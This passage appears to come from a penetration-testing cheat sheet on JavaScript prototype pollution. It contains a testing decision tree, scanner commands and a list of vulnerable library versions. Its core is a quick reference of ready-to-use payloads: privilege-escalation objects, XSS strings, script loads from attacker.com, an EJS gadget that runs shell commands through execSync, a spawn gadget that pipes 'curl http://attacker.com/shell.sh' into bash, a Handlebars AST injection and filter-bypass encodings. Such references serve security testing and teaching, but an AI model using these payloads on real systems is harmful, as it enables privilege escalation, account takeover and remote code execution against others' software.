│ └── Test: send {"__proto__":{"testPP":"izanaghi"}} cross-origin
│
├── Server-side Node.js?
│ ├── POST JSON body → merge into options?
│ │ └── Test: {"__proto__":{"isAdmin":true}} → check privilege change
│ ├── Query string → qs.parse → merge?
│ │ └── Test: ?__proto__[isAdmin]=true
│ └── Template engine involved?
│ └── Try AST injection (Handlebars / EJS / Pug payloads)
│
├── Pollution confirmed → find gadgets?
│ ├── Client-side → grep for innerHTML, eval, src=, setTimeout
│ │ └── Exploit: pollute the property → PP → XSS
│ └── Server-side → grep for spawn(), template render(), env merge
│ └── Exploit: PP → RCE chain
│
└── No direct output (blind)?
├── Pollute status/error property → observe HTTP response change
├── Pollute with canary → check OOB (DNS pingback)
└── Delay gadget → pollute then trigger slow path → time difference
Quick Payload Reference
// ── Confirm Pollution (Client) ──
?__proto__[testPP]=izanaghi // check: ({}).testPP
?constructor[prototype][testPP]=izanaghi // alternate path
{"__proto__":{"testPP":"izanaghi"}} // JSON body
// ── Privilege Escalation ──
{"__proto__":{"isAdmin":true}}
{"__proto__":{"role":"admin"}}
{"__proto__":{"authorized":true}}
// ── PP → XSS (Client Gadget: innerHTML) ──
?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>
?__proto__[template]=<script>alert(origin)</script>
// ── PP → XSS (Client Gadget: src) ──
?__proto__[src]=//attacker.com/evil.js
?__proto__[scriptSrc]=//attacker.com/evil.js
// ── SSPP → RCE (EJS outputFunctionName) ──
{"__proto__":{"outputFunctionName":"x;require('child_process').execSync('id>/tmp/pwn')//"}}
// ── SSPP → RCE (spawn shell option) ──
{"__proto__":{"shell":true,"env":{"PWD":"; curl http://attacker.com/shell.sh | bash"}}}
// ── AST Injection (Handlebars) ──
{"__proto__":{"type":"Program","body":[{"type":"MustacheStatement","path":{"original":"process.mainModule.require('child_process').execSync('id')","type":"PathExpression","parts":["process"],"data":false,"depth":0},"params":[],"hash":null,"escaped":true,"strip":{}}}]}}
// ── Alternative Paths ──
{"constructor":{"prototype":{"x":"y"}}} // constructor path
?constructor[prototype][isAdmin]=true
// ── Encoding Bypasses ──
%5F%5Fproto%5F%5F[x]=y // URL encoded __proto__
{"\u005f\u005fproto\u005f\u005f":{"x":"y"}} // unicode in JSON
Tool Quick Reference
# DOM Invader (Burp Suite built-in):
# Proxy → Open Browser → DOM Invader → Enable → Inject canary → trigger app
# ppfuzz:
ppfuzz -u "https://target.com/" --delay 200ms
ppfuzz -l targets.txt -o results.json
# PPScan:
node pplib.js https://target.com/
# AST-Grep:
ast-grep --lang js -p '$OBJ["__proto__"]' .
ast-grep --lang js -p '$EL.innerHTML = $VAR' .
# npm audit:
npm audit
npm audit fix
# grep for gadgets:
grep -rn "innerHTML\|eval\|\.src\s*=" --include="*.js" .
grep -rn "merge\|deepMerge\|defaultsDeep" --include="*.js" .
Vulnerable Library Version Reference
lodash < 4.17.12 _.merge(), _.defaultsDeep(), _.set()
jQuery < 3.4.0 $.extend(true, ...)
qs < 6.7.3 qs.parse() with __proto__ key
deepmerge < 4.2.2 deepmerge()
merge < 2.1.1 merge.recursive()
defaults-deep < 0.2.4 defaultsDeep()
mixin-deep < 1.3.2 mixinDeep()
set-value < 2.0.1 setValue()
flat < 5.0.1 flat.unflatten()
hoek < 4.2.1 hoek.merge(), hoek.applyToDefaults()
Handlebars < 4.7.7 Template compilation
EJS < 3.1.7 outputFunctionName gadget (CVE-2022-29078)
AngularJS < 1.7.9 angular.merge()